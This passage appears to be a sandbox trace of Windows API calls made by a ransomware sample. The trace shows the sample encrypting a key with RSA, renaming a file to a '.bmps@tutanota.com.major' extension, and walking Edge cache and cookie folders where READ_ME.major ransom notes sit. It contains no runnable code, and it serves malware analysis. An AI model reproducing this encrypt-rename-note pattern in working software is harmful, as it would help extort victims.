lpNumberOfBytesRead=0x2e3f9b4*=0xbfe0, lpOverlapped=0x0) returned 1 [0244.147] SetFilePointer (in: hFile=0x1a88, lDistanceToMove=-49120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.148] WriteFile (in: hFile=0x1a88, lpBuffer=0x3401000*, nNumberOfBytesToWrite=0xbfe0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3401000*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbfe0, lpOverlapped=0x0) returned 1 [0244.148] SetFilePointer (in: hFile=0x1a88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbfe0 [0244.148] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.148] WriteFile (in: hFile=0x1a88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.148] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.148] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.148] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.148] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nPP17jy4K0911zCdIJBvXpaWrwwP6WpEGLWzwfWN7Y5S0g/IHvobSqtnND+TXTSD\nZYpQzhMjrw6myEtEFEMu0pEa5/6r5EdNiHA5i75w8D2UZ64j66LJWtkSPYxn9g7m\niTIxmrj2nW2bhdVonLOfLvtVqH83KqVJ1fZf3+ULgmILVPtaND95TVWPdSmJft1h\nQZiOtFYLT4nrTo4OUgy+ALXtRWjApYR9KfAS22/FszQI4/604c+gPw8Tv6HTPDXO\nchWR7qpu/WjvGsc4YfAXuPXl/a5fLeF+kRpu2bWwrNQPxmu8hmfBUnXMcDTfwote\nBSB1HiCFbCKODUNHCE6rDA==\n", pcchString=0x2e3f9a8) returned 1 [0244.148] WriteFile (in: hFile=0x1a88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.149] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.149] WriteFile (in: hFile=0x1a88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.149] CloseHandle (hObject=0x1a88) returned 1 [0244.149] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\msimgsiz.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\MSIMGSIZ.DAT.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\msimgsiz.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0244.151] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12829f55, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12829f55, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f312a0 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] GetLastError () returned 0x0 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] GetLastError () returned 0x0 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] FindNextFileW (in: hFindFile=0x2f312a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12829f55, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12829f55, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] GetLastError () returned 0x0 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] GetLastError () returned 0x0 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] FindNextFileW (in: hFindFile=0x2f312a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] GetLastError () returned 0x0 [0244.151] SetLastError (dwErrCode=0x0) [0244.151] SetLastError (dwErrCode=0x0) [0244.151] FindNextFileW (in: hFindFile=0x2f312a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.152] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cae5ea9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31620 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] GetLastError () returned 0x12 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] GetLastError () returned 0x12 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] FindNextFileW (in: hFindFile=0x2f31620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cae5ea9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] GetLastError () returned 0x12 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] GetLastError () returned 0x12 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] FindNextFileW (in: hFindFile=0x2f31620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cae5ea9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cae5ea9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cae5ea9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] GetLastError () returned 0x12 [0244.152] SetLastError (dwErrCode=0x12) [0244.152] SetLastError (dwErrCode=0x12) [0244.152] FindNextFileW (in: hFindFile=0x2f31620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cae5ea9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cae5ea9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cae5ea9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.153] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cae5ea9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f310a0 [0244.153] SetLastError (dwErrCode=0x12) [0244.153] GetLastError () returned 0x12 [0244.153] SetLastError (dwErrCode=0x12) [0244.153] SetLastError (dwErrCode=0x12) [0244.153] FindNextFileW (in: hFindFile=0x2f310a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cae5ea9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.153] SetLastError (dwErrCode=0x12) [0244.153] GetLastError () returned 0x12 [0244.153] SetLastError (dwErrCode=0x12) [0244.153] SetLastError (dwErrCode=0x12) [0244.153] FindNextFileW (in: hFindFile=0x2f310a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cae5ea9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cae5ea9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.153] SetLastError (dwErrCode=0x12) [0244.154] GetLastError () returned 0x12 [0244.154] SetLastError (dwErrCode=0x12) [0244.154] SetLastError (dwErrCode=0x12) [0244.154] FindNextFileW (in: hFindFile=0x2f310a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cae5ea9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cae5ea9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.154] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31560 [0244.154] SetLastError (dwErrCode=0x12) [0244.154] GetLastError () returned 0x12 [0244.154] SetLastError (dwErrCode=0x12) [0244.154] SetLastError (dwErrCode=0x12) [0244.154] FindNextFileW (in: hFindFile=0x2f31560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.154] SetLastError (dwErrCode=0x12) [0244.154] GetLastError () returned 0x12 [0244.154] SetLastError (dwErrCode=0x12) [0244.154] SetLastError (dwErrCode=0x12) [0244.154] FindNextFileW (in: hFindFile=0x2f31560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.154] SetLastError (dwErrCode=0x12) [0244.155] GetLastError () returned 0x12 [0244.155] SetLastError (dwErrCode=0x12) [0244.155] SetLastError (dwErrCode=0x12) [0244.155] FindNextFileW (in: hFindFile=0x2f31560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.155] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f313a0 [0244.155] SetLastError (dwErrCode=0x12) [0244.155] GetLastError () returned 0x12 [0244.155] SetLastError (dwErrCode=0x12) [0244.155] GetLastError () returned 0x12 [0244.155] SetLastError (dwErrCode=0x12) [0244.155] FindNextFileW (in: hFindFile=0x2f313a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.155] SetLastError (dwErrCode=0x12) [0244.155] GetLastError () returned 0x12 [0244.155] SetLastError (dwErrCode=0x12) [0244.155] SetLastError (dwErrCode=0x12) [0244.156] FindNextFileW (in: hFindFile=0x2f313a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.156] SetLastError (dwErrCode=0x12) [0244.156] GetLastError () returned 0x12 [0244.156] SetLastError (dwErrCode=0x12) [0244.156] SetLastError (dwErrCode=0x12) [0244.156] FindNextFileW (in: hFindFile=0x2f313a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.156] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!006\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31520 [0244.156] SetLastError (dwErrCode=0x12) [0244.156] GetLastError () returned 0x12 [0244.156] SetLastError (dwErrCode=0x12) [0244.156] GetLastError () returned 0x12 [0244.156] SetLastError (dwErrCode=0x12) [0244.156] FindNextFileW (in: hFindFile=0x2f31520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9268ba69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9268ba69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.156] SetLastError (dwErrCode=0x12) [0244.156] GetLastError () returned 0x12 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] GetLastError () returned 0x12 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] FindNextFileW (in: hFindFile=0x2f31520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] GetLastError () returned 0x12 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] SetLastError (dwErrCode=0x12) [0244.157] FindNextFileW (in: hFindFile=0x2f31520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.157] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f315e0 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] GetLastError () returned 0x12 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] GetLastError () returned 0x12 [0244.157] SetLastError (dwErrCode=0x12) [0244.157] FindNextFileW (in: hFindFile=0x2f315e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb0c2dc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] GetLastError () returned 0x12 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] GetLastError () returned 0x12 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] FindNextFileW (in: hFindFile=0x2f315e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] GetLastError () returned 0x12 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] SetLastError (dwErrCode=0x12) [0244.158] FindNextFileW (in: hFindFile=0x2f315e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb0c2dc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb0c2dc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.158] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31360 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] GetLastError () returned 0x12 [0244.158] SetLastError (dwErrCode=0x12) [0244.158] SetLastError (dwErrCode=0x12) [0244.158] FindNextFileW (in: hFindFile=0x2f31360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cb323d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.158] SetLastError (dwErrCode=0x12) [0244.159] GetLastError () returned 0x12 [0244.159] SetLastError (dwErrCode=0x12) [0244.159] SetLastError (dwErrCode=0x12) [0244.159] FindNextFileW (in: hFindFile=0x2f31360, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, 